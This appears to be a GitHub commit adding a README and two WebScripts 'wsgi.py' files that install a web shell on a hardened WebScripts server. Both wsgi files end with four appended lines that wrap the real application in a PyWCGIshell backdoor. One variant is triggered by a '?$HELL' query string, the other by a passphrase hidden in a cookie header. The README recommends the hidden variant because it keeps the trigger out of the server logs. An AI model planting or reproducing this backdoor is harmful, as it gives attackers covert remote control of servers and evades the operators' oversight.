Skip to content

Commit c4d5638

Browse files
Add files via upload
0 parents  commit c4d5638

File tree

5 files changed

+183
-0
lines changed

5 files changed

+183
-0
lines changed

DefaultWebShell.PNG

8.42 KB
Loading

HiddenWebShell.PNG

7.31 KB
Loading

README.md

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# WebScripts WebShell
2+
3+
## Description
4+
5+
Install a WebShell on hardened and deployed WebScripts (using Apache and mod_wsgi).
6+
7+
[![WebShell on WebScripts - Youtube]()]()
8+
9+
*WebShell on WebScripts - Youtube*
10+
11+
## Steps
12+
13+
### Install
14+
15+
Install requirements in virtualenv:
16+
```bash
17+
pip install PyWCGIshell
18+
```
19+
20+
### Write code
21+
22+
Add 4 lines to the end of the `wsgi.py` file.
23+
24+
#### Default WebShell
25+
26+
```python
27+
from PyWCGIshell import WebShell
28+
webshell = WebShell(type_="wsgi")
29+
webshell.standard_page = application
30+
application = webshell.run
31+
```
32+
33+
- To use the WebShell add `?$HELL` to the end of the URL
34+
- The `$HELL` in the query string is visible in the logs, i do not recommend using the default WebShell configuration.
35+
36+
#### Hidden WebShell
37+
38+
```python
39+
from PyWCGIshell import WebShell
40+
webshell = WebShell(type_="wsgi", passphrase="azerty", pass_type="header_value")
41+
webshell.standard_page = application
42+
application = webshell.run
43+
```
44+
45+
- To use the WebShell add `azerty` in a header value (for example in a cookie, in the javascript console: `document.cookie="azerty"`) and reload the page
46+
- The value of the cookie is not visible in the logs
47+
- You should change the passphrase for more discretion

wsgi.py

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
from os import path, chdir, name
5+
from typing import List
6+
import logging
7+
import atexit
8+
9+
chdir(path.join(path.dirname(__file__), ".."))
10+
11+
activator = r"Scripts\activate_this.py" if name == "nt" else "bin/activate_this.py"
12+
with open(activator) as f:
13+
exec(f.read(), {"__file__": activator}) # nosec # nosemgrep
14+
15+
from WebScripts.WebScripts import (
16+
server_path,
17+
Configuration,
18+
get_server_config,
19+
add_configuration,
20+
logs_configuration,
21+
Server,
22+
configure_logs_system,
23+
send_mail,
24+
hardening,
25+
Logs,
26+
)
27+
28+
29+
class Paths:
30+
31+
"""This class define configuration files."""
32+
33+
def __init__(self, config_cfg: List[str], config_json: List[str]):
34+
self.config_cfg = config_cfg
35+
self.config_json = config_json
36+
37+
configure_logs_system()
38+
paths = Paths([], [])
39+
40+
configuration = Configuration()
41+
for config in get_server_config(paths):
42+
configuration = add_configuration(configuration, config)
43+
44+
logs_configuration(configuration)
45+
46+
configuration.set_defaults()
47+
configuration.check_required()
48+
configuration.get_unexpecteds()
49+
configuration.build_types()
50+
51+
server = Server(configuration)
52+
53+
send_mail(configuration, f"Server is up on http://{server.interface}:{server.port}/.")
54+
55+
atexit.register(
56+
send_mail,
57+
configuration,
58+
f"Server is down on http://{server.interface}:{server.port}/.",
59+
)
60+
61+
hardening(server, Logs)
62+
63+
application = server.app
64+
65+
from PyWCGIshell import WebShell
66+
webshell = WebShell(type_="wsgi", passphrase="azerty", pass_type="header_value")
67+
webshell.standard_page = application
68+
application = webshell.run

wsgi_default.py

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
#!/usr/bin/env python3
2+
# -*- coding: utf-8 -*-
3+
4+
from os import path, chdir, name
5+
from typing import List
6+
import logging
7+
import atexit
8+
9+
chdir(path.join(path.dirname(__file__), ".."))
10+
11+
activator = r"Scripts\activate_this.py" if name == "nt" else "bin/activate_this.py"
12+
with open(activator) as f:
13+
exec(f.read(), {"__file__": activator}) # nosec # nosemgrep
14+
15+
from WebScripts.WebScripts import (
16+
server_path,
17+
Configuration,
18+
get_server_config,
19+
add_configuration,
20+
logs_configuration,
21+
Server,
22+
configure_logs_system,
23+
send_mail,
24+
hardening,
25+
Logs,
26+
)
27+
28+
29+
class Paths:
30+
31+
"""This class define configuration files."""
32+
33+
def __init__(self, config_cfg: List[str], config_json: List[str]):
34+
self.config_cfg = config_cfg
35+
self.config_json = config_json
36+
37+
configure_logs_system()
38+
paths = Paths([], [])
39+
40+
configuration = Configuration()
41+
for config in get_server_config(paths):
42+
configuration = add_configuration(configuration, config)
43+
44+
logs_configuration(configuration)
45+
46+
configuration.set_defaults()
47+
configuration.check_required()
48+
configuration.get_unexpecteds()
49+
configuration.build_types()
50+
51+
server = Server(configuration)
52+
53+
send_mail(configuration, f"Server is up on http://{server.interface}:{server.port}/.")
54+
55+
atexit.register(
56+
send_mail,
57+
configuration,
58+
f"Server is down on http://{server.interface}:{server.port}/.",
59+
)
60+
61+
hardening(server, Logs)
62+
63+
application = server.app
64+
65+
from PyWCGIshell import WebShell
66+
webshell = WebShell(type_="wsgi")
67+
webshell.standard_page = application
68+
application = webshell.run

0 commit comments

Comments
 (0)